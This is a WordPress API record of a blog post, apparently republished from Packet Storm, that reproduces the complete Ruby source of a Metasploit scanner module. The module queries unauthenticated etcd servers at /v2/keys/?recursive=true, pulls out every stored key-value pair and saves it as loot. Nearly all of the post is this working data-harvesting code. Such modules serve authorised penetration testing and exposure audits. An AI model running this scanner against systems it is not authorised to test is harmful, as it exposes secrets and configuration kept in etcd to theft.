{"id":59316,"date":"2024-09-01T01:50:17","date_gmt":"2024-08-31T22:50:17","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180931\/open_key_scanner.rb.txt"},"modified":"2024-09-01T01:50:17","modified_gmt":"2024-08-31T22:50:17","slug":"etcd-keys-api-information-gathering","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/etcd-keys-api-information-gathering\/","title":{"rendered":"Etcd Keys API Information Gathering"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Etcd<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Etcd Keys API Information Gathering&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q(<br \/>This module queries the etcd API to recursively retrieve all of the stored<br \/>key value pairs. Etcd by default does not utilize authentication.<br \/>),<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/gcollazo.com\/the-security-footgun-in-etcd\/&#8217;]],<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Giovanni Collazo &lt;hello@gcollazo.com&gt;&#8217;, # discovery<br \/>&#8216;h00die&#8217; # msf module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8220;Mar 16 2018&#8221;<br \/>)<br \/>end<\/p>\n<p>def run_host(_target_host)<br \/>path = normalize_uri(target_uri.to_s, &#8216;v2\/keys\/?recursive=true&#8217;)<\/p>\n<p>banner = fingerprint_service(target_uri.to_s)<br \/>vprint_status(&#8220;#{peer} &#8211; Collecting data through #{path}&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>&#8216;uri&#8217; =&gt; path,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<\/p>\n<p># parse the json if we got a good request back<br \/>if res &amp;&amp; res.code == 200<br \/>begin<br \/>response = res.get_json_document<br \/>store_loot(&#8216;etcd.data&#8217;, &#8216;text\/json&#8217;, rhost, response, &#8216;etcd.keys&#8217;, &#8216;etcd keys&#8217;)<br \/>rescue JSON::ParserError =&gt; e<br \/>print_error(&#8220;Failed to read JSON: #{e.class} &#8211; #{e.message}}&#8221;)<br \/>return<br \/>end<br \/>print_good(&#8220;#{peer}\\nVersion: #{banner}\\nData: #{JSON.pretty_generate(response)}&#8221;)<br \/>elsif res<br \/>vprint_errord(&#8220;Invalid response #{res.code} for etcd open keys response&#8221;)<br \/>return<br \/>else<br \/>verbose_error(&#8220;No response for etcd open keys probe&#8221;)<br \/>return<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Etcdinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Etcd Keys API Information Gathering&#8217;,&#8216;Description&#8217; =&gt; %q(This module queries the etcd API to recursively retrieve all of the storedkey value pairs. Etcd by default does not utilize authentication.),&#8216;References&#8217; =&gt; [[&#8216;URL&#8217;, &#8216;https:\/\/gcollazo.com\/the-security-footgun-in-etcd\/&#8217;]],&#8216;Author&#8217; =&gt; [&#8216;Giovanni Collazo &lt;hello@gcollazo.com&gt;&#8217;, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59316","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59316","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59316"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59316\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59316"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59316"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59316"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}